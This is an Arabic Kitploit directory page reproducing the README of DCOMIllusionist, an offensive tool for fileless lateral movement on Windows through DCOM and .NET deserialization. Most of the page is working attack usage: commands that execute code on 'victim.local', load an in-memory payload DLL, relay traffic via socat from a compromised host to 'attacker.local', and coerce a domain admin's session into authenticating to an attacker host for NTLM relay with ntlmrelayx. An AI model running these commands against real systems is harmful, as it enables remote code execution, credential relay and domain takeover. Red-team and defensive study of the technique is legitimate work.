Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
DCOMIllusionist — تقنيات الحركة الجانبية في الذاكرة وبدون ملفات عبر DCOM من خلال إلغاء تسلسل .Net | Kitploit
أدوات/GitHubGitHub/synacktiv/dcomillusionist
تصعيد الامتيازاتالاستغلالالحركة الجانبيةما بعد الاستغلالاختبار الاختراقالقيادة والسيطرةالمصادقةالفريق الأحمرأداة الوصول عن بعدتطوير الحمولات
GitHubsynacktiv/dcomillusionist
2833310منذ 3 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

DCOMIllusionist

تقنيات الحركة الجانبية في الذاكرة وبدون ملفات عبر DCOM من خلال إلغاء تسلسل .Net

عرض المستودع
🎩✨🪄

DCOMIllusionist

تقنية انتقال جانبي بدون ملفات على ويندوز.

مقدمة  •  بناء  •  استخدام  •  تفاصيل تقنية  •  شكر وتقدير


مقدمة

تمكّن هذه الأداة من تنفيذ تعليمات برمجية عن بُعد على جهاز ويندوز، في حال امتلاك صلاحيات إدارية. تستفيد الأداة من تقنية DCOM وسلوك خوادم .NET DCOM التي تقوم تلقائياً بإلغاء تسلسل الكائنات الواردة. مما يجعل من الممكن تنفيذ أوامر تعسفية أو تحميل مكتبات DLL دون الكتابة على القرص.

اكتُشفت هذه الطريقة في الأصل بواسطة جيمس فورشو James Forshaw كتقنية لتصعيد الصلاحيات، وتم تكييفها للانتقال الجانبي عن طريق تعديل مفاتيح تسجيل محددة عن بُعد. بالإضافة إلى ذلك، تدعم الاستغلال عبر الجلسات من خلال DCOM، مما يسمح بتنفيذ أوامر تعسفية داخل جلسة مستخدم آخر ضمن سياق الأمان الخاص بتلك الجلسة.

تعمل الأداة على محطات العمل والخوادم، ولكن يتطلب نجاح هذه التقنية وجود اتصال شبكي بين الجهاز المستهدف والجهاز الذي يتحكم به المهاجم.

مزيد من التفاصيل في هذا القسم.

بناء

يتوفر إصدار جاهز، أو يمكنك بناؤه يدوياً:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

استخدام

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
يلزم وجود صلاحيات إدارية على كل من الجهاز المهاجم (عبر شل مرتفعة) والجهاز المستهدف لاستخدام هذه الأداة بنجاح.

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        إظهار رسالة المساعدة هذه والخروج
  -d, --debug                       تفعيل تسجيل التصحيح
  -t, --target <value>              تعيين اسم المضيف المستهدف أو عنوان IP
  -p, --port <value>                تعيين المنفذ المستهدف (الافتراضي: 49765)
      --clsid <value>               تحديد CLSID (بدون أقواس معقوفة)
      --appid <value>               تحديد AppID (بدون أقواس معقوفة)
  -s, --session <value>             توفير معرف جلسة
   -l --listen <host>               تحديد FQDN أو IP للمستمع
  -g, --gadget <value>              تحديد الأداة (gadget) المراد استخدامها
      --attacker-sid <value>        تعيين SID للمهاجم
      --no-port-check               تعطيل فحص توفر المنفذ
      --restore-backup <path>       استعادة التسجيل من نسخة احتياطية
      --local-registry-only         إجراء تعديلات التسجيل محلياً فقط
      --remote-registry-only        إجراء تعديلات التسجيل عن بُعد فقط
      --skip-local-registry-setup   تخطي إعداد التسجيل المحلي
      --skip-remote-registry-setup  تخطي إعداد التسجيل عن بُعد
      --hku                         إجراء عمليات التسجيل عن بُعد على HKCU بدلاً من HKLM
      --fake-clsid                  إنشاء CLSID وهمي مع AppId وهمي

الهجمات:
      --ps-exec <args>              تنفيذ أمر عن بُعد باستخدام PSExec
      --exec <cmd>                  تنفيذ أمر عن بُعد
      --exec-args <args>            وسائط لتمريرها إلى الأمر
      --curl <url>                  استخدام حمولة طلب ويب على نمط curl
      --file-write-src <src>        الملف المراد كتابته
      --file-write-dst <dst>        مسار الوجهة
      --load-dll <path>             تحميل DLL في العملية عن بُعد
      --dll-class <value>           الفئة في DLL المراد تنفيذها (بما في ذلك مساحة الاسم)
      --dll-method <value>          الطريقة الثابتة في الفئة المراد تنفيذها (الافتراضي: Run)
      --yso-b64 <b64>               تنفيذ حمولة ysoserial مشفرة بـ base64
      --test-network                التحقق من الوصول إلى الشبكة من الهدف إلى جهاز المهاجم
      --list-sessions               سرد الجلسات التفاعلية على الهدف

أمثلة:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (الافتراضي)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (الافتراضي)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - إعدادات التحكم بحساب المستخدم                            (مستخدم تفاعلي)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (مستخدم تفاعلي)

--session

كما تم شرحه سابقاً، يمكن تحديد جلسة لتنفيذ أمر تعسفي في جلسة مستخدم آخر.

[!WARNING] يعمل هذا فقط مع AppIDs المهيأة للعمل تحت هوية المستخدم التفاعلي. يتم التعامل مع هذا تلقائياً، ليست هناك حاجة لتحديد وسيطة --appid، حيث ستستخدم الأداة AppID المرتبطة بإعدادات التحكم بحساب المستخدم User Account Control Settings افتراضياً.

[!IMPORTANT] يعمل فقط إذا كان الجهاز المهاجم منضمًا إلى مجال، مزيد من التفاصيل هنا.

--list-sessions

سرد الجلسات التفاعلية والنشطة عن بُعد على الهدف باستخدام WTSEnumerateSessions.

--listen

إذا لم يتمكن الجهاز المستهدف من الوصول مباشرةً إلى مضيف المهاجم، سيفشل الاستغلال. ومع ذلك، من الممكن تحديد جهاز وسيط يمكن للهدف الاتصال به. باستخدام أدوات مثل socat، يمكن توجيه حركة المرور من هذا الوسيط إلى مضيف المهاجم.

استماع

  • على الجهاز المخترق:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • على جهاز المهاجم:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

عند تشغيل الاستغلال من شل runas /netonly، لا يمكن استرداد الهوية المرتبطة تلقائياً. لذلك، من الضروري توفيرها صراحةً باستخدام خيار --attacker-sid لنجاح الهجوم.

--exec

يمكن استخدام --exec مع --exec-args لتنفيذ برامج ثنائية تعسفية على الهدف:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-exec هو مجرد غلاف لذلك، يمكن تحقيق نفس الشيء باستخدام: --ps-exec calc

--curl

يمكن أن يكون curl مفيداً في سيناريوهات الاستغلال عبر الجلسات. إذا كانت لديك صلاحيات إدارية على جهاز وكان، على سبيل المثال، مسؤول مجال نشطاً في الجلسة 3، فمن الممكن بدء طلب HTTP موثَّق، باستخدام .NET فقط، نيابة عن ذلك المستخدم. من خلال توجيه هذا الطلب إلى جهاز يتحكم به المهاجم ويعمل عليه ntlmrelayx.py، يمكن تنفيذ هجمات إعادة توجيه NTLM التقليدية لاختراق المستخدم.

PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

من الممكن تحميل DLL تعسفي بالكامل في الذاكرة، دون لمس القرص. على سبيل المثال:

// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

افتراضياً، يتم تنفيذ الطريقة الثابتة Run (بدون معاملات) للفئة المحددة. يمكن تخصيص هذا السلوك باستخدام المعامل --dll-method.

--yso-b64

لتوليد أدوات متقدمة، يمكن استخدام Ysoserial.net. يمكن توفير الحمولة المشفرة بـ Base64 الناتجة مباشرةً، حيث سيتم تغليفها داخل مثيل RolePrincipal وإلغاء تسلسلها على الجهاز المستهدف.

[!WARNING] يعمل فقط مع BinaryFormatter

--test-network

تنزيل الأداة